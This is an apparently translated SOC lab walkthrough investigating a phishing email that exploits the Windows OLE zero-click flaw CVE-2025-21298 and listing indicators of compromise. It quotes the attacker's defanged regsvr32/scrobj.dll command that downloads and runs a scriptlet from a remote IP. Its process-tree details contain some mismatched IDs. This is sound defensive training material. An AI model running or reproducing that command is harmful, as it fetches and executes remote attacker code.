abc1230940/soc336-windows-ole-zero-click-rce-exploitation-detected-cve-2025-21298SOC336 - Windows OLE Zero-Click RCE Exploitation erkannt (CVE-2025-21298) Walkthrough
Einer unserer Mitarbeiter, Austin, erhielt eine Phishing-E-Mail von einem verdächtigen Absender. Ein Alarm wurde ausgelöst, nachdem er die E-Mail in Outlook geöffnet hatte, am 04. Februar 2025 um 16:18 Uhr. Der Auslösegrund war "Bösartiger RTF-Anhang mit bekanntem CVE-2025-21298-Exploit-Muster identifiziert" .
EventID : 314
Ereigniszeit : 04. Februar 2025, 16:18 Uhr (ich denke, es war falsch)
Regel : SOC336 - Windows OLE Zero-Click RCE Exploitation erkannt (CVE-2025-21298)
Level : Sicherheitsanalyst
SMTP-Adresse : 84.38.130.118
Quelladresse : [email protected]
Zieladresse : [email protected]
E-Mail-Betreff : Important: Action Required for Upcoming Project Deadline
Anhang : mail.rtf
Anhang-Hash : df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184
Geräteaktion : Erlaubt
Auslösegrund : Bösartiger RTF-Anhang mit bekanntem CVE-2025-21298-Exploit-Muster identifiziert.
Lassen Sie uns in die E-Mail-Sicherheit, das Log-Management und die Endpunkt-Sicherheitsprotokolle für das Alarm-Triage eintauchen.
Ich suchte nach der Absenderadresse projectmanagement@pm[.]me und klickte auf die E-Mail "Important: Action Required for Upcoming Project Deadline", gesendet um 05:12 Uhr am selben Tag, was mir seltsam vorkam, weil die dringenden Töne und Formulierungen wie "Important" und "Action Required" mir einen Hinweis auf eine Phishing-E-Mail gaben.
Ich suchte die Domain pm[.]me auf VirusTotal und nur ein Anbieter stufte sie als verdächtig ein.
Als ich jedoch die SMTP-Adresse 84[.]38[.]130[.]118 suchte, markierten 7 Anbieter sie als bösartig und Schadsoftware, und sie war mit einem SILVER C2-Server verbunden.
84[.]38[.]130[.]118 wurde auch in der AbuseIPDB-Datenbank gefunden. Sie befindet sich in Riga, Riga, Lettland, gehört zum Domainnamen rixhost.lv und wird als DDoS-Angriff, Hacking und Exploited Host kategorisiert.
Schließlich suchte ich den Hash df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184 des Anhangs mail.rtf auf VirusTotal und 29 von 61 Anbietern stuften den Anhang als bösartig ein. Er gehört zur Malware-Familie rtfmalformb und war mit der Schwachstelle CVE-2025-21298 verbunden.
Es wurde bestätigt, dass eine Phishing-E-Mail mit einem bösartigen Anhang an Austin gesendet wurde.
Lassen Sie uns untersuchen, ob es nach 05:12 Uhr, als Austin die Phishing-E-Mail öffnete, verdächtige Aktivitäten gab.
Ich überprüfte zunächst das Proxy-Log und suchte nach der bösartigen IP-Adresse des Absenders 84[.]38[.]130[.]118. Dabei entdeckte ich, dass um 08:06 Uhr eine HTTP-GET-Anfrage an die bösartige IP-Adresse mit der URL hxxp://84[.]38[.]130[.]118/shell[.]sct von cmd.exe initiiert wurde, um eine Windows-Scriptlet-Datei herunterzuladen. Der Antwortcode war 200 OK, was darauf hinweist, dass der ausgehende Datenverkehr erlaubt und nicht von der Firewall blockiert wurde. Es war ungewöhnlich, eine Skriptdatei zu erhalten, die möglicherweise ein Reverse-Shell-Skript enthielt.
Da der ausgehende Datenverkehr zur bösartigen IP-Adresse von cmd.exe initiiert wurde, überprüfte ich zunächst den Terminalverlauf und fand heraus, dass um 08:06:08 Uhr der Befehl "C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll" ausgeführt wurde, um regsvr32.exe zu starten und die Skriptdatei über scrobj.dll von der bösartigen IP-Adresse abzurufen.
Die Verwendung der integrierten Windows-Dienstprogramme zum Abrufen des Skripts kann minimale Spuren auf dem System hinterlassen, was Reverse Engineering und Malware-Analyse erschwert!
Es wurde bestätigt, dass nach der Ausführung des Befehls um 08:06:42 Uhr eine Verbindung zur bösartigen IP 84[.]38[.]130[.]118 bestand.
Warum wurde cmd.exe durch das bloße Anklicken einer E-Mail ausgeführt? Obwohl keine Hinweise darauf gefunden wurden, dass Austin den bösartigen Anhang mail.rtf heruntergeladen hat, überprüfte ich die Endpunktprotokolle und suchte nach Ereignissen um 08:06 Uhr.
Prozess-ID: 7023
Ereigniszeit: 04. Februar 2025 08:06:25
Befehlszeile: "regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll"
Übergeordneter Prozess: cmd.exe
OK, dann schauen wir uns den übergeordneten Prozess cmd.exe an.
Prozess-ID: 6784
Ereigniszeit: 04. Februar 2025 08:06:08
Befehlszeile: "regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll"
Übergeordneter Prozess: outlook.exe
Und schließlich habe ich den übergeordneten Prozess von outlook.exe überprüft.
Prozess-ID: 4820
Ereigniszeit: 04. Februar 2025 08:05:15
Befehlszeile: "C:\Windows\System32\cmd.exe"
Übergeordneter Prozess: explorer.exe
Daraus können wir schließen, dass die bösartigen Prozesse in einem Baum wie folgt aussehen:
explorer.exe -> outlook.exe (PID:4820) -> cmd.exe (PID:4784) -> regsvr32.exe (PID:7023) -> ! Skriptausführung !
Allerdings fragte ich mich immer noch, wie bösartige Prozesse initiiert wurden, ohne den bösartigen Anhang herunterzuladen und zu öffnen, und wie outlook.exe den bösartigen Prozess auslöste, bis ich Informationen über CVE-2025-21298 fand.
Laut dem Artikel von Offsec gab es im Januar 2025 eine kritische Windows OLE Zero-Click-Schwachstelle, die RCE per E-Mail mit einem CVSS-Score von 9.8 ermöglicht. Wenn der anvisierte Empfänger die bösartige E-Mail in Microsoft Outlook öffnet oder in der Vorschau betrachtet, die ein schädliches RTF-Dokument mit einem eingebetteten Skript enthält, wird die Schwachstelle ausgelöst, sodass der Angreifer beliebigen Code auf dem betroffenen System ausführen kann.
Ich habe einige Nachforschungen zu Windows OLE und den Hijacking-Prozessen von RTF-Dokumenten auf Google und Gemini angestellt und sie mit meinen Kenntnissen im Reverse Engineering verknüpft:
Nicht in Quarantäne
Bösartig
Zugegriffen
Klassifikation: Kritisch
Typ: Malware
Zeit der Aktivität:
04. Februar 2025, 05:12 Uhr (Phishing-E-Mail empfangen)
04. Februar 2025, 08:05:15 Uhr - 04. Februar 2025, 08:06:42 Uhr (Phishing-E-Mail geöffnet und bösartiger Code ausgeführt)
Betroffene Entitäten:
Quelladresse: projectmanagement@pm[.]me
SMTP-Adresse: 84[.]38[.]130[.]118
Empfänger-E-Mail-Adresse: Austin@letsdefend[.]io
Empfänger-IP-Adresse: 172[.]16[.]17[.]137
Hostname: Austin
Gründe für True Positive:
Am 04. Februar 2025 um 05:12 Uhr wurde eine verdächtige E-Mail mit dem Betreff "Important: Action Required for Upcoming Project Deadline" von [email protected] (IP-Adresse: 84.38.130.118) an [email protected] (IP-Adresse: 172.16.17.137) mit einem Anhang mail.rtf (SHA256-Hash: df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184) gesendet. Die dringenden Töne und Formulierungen im Betreff gaben einen Hinweis auf eine Phishing-E-Mail. Die Bedrohungsintelligenz-Tools VirusTotal und AbuseIPDB markierten die IP-Adresse des Absenders, die sich in Riga, Riga, Lettland befindet und zum Domainnamen rixhost.lv gehört, sowie den Anhang als bösartig und Schadsoftware.
Gemäß den Proxy-Protokollen gab es um 08:06 Uhr eine HTTP-GET-Anfrage an die bösartige IP-Adresse mit der URL hxxp://84[.]38[.]130[.]118/shell[.]sct, initiiert von cmd.exe, die eine Windows-Scriptlet-Datei herunterlud. Der Antwortcode war 200 OK, was darauf hinweist, dass der ausgehende Datenverkehr zur bösartigen IP-Adresse erlaubt und nicht von der Firewall blockiert wurde.
Gemäß den Endpunktsicherheitsprotokollen wurde der bösartige Code "regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll" (PID: 7023) von cmd.exe (PID: 6784) initiiert, der von outlook.exe (PID: 4820) erzeugt wurde.
Die Ausnutzung wurde durch eine kritische Windows OLE Zero-Click-Schwachstelle (CVE-2025-21298) verursacht, die RCE per E-Mail mit einem CVSS-Score von 9.8 im Januar 2025 ermöglicht. Wenn der anvisierte Empfänger die bösartige E-Mail in Microsoft Outlook öffnet oder in der Vorschau betrachtet, die ein schädliches RTF-Dokument mit einem eingebetteten Skript enthält, wird die Schwachstelle ausgelöst, sodass der Angreifer beliebigen Code auf dem betroffenen System ausführen kann, möglicherweise um eine Reverse Shell zum C2-Server herzustellen.
Gründe für Eskalation:
Obwohl noch kein aktiver Post-Exploitation-C2-Netzwerkverkehr endgültig beobachtet wurde, bestätigten Endpunktsicherheitsprotokolle die Ausführung von regsvr32.exe mit scrobj.dll, um die Scriptlet-Datei shell.sct abzurufen. Aufgrund des CVSS-Scores von 9.8 des CVE-2025-21298 ist eine weitere Untersuchung erforderlich, um zu prüfen, ob es verdächtige Aktivitäten auf dem Host gibt, wie Persistenz oder DatenerxDatenexfiltration.
Abhilfemaßnahmen:
Indikatoren für Kompromittierung:
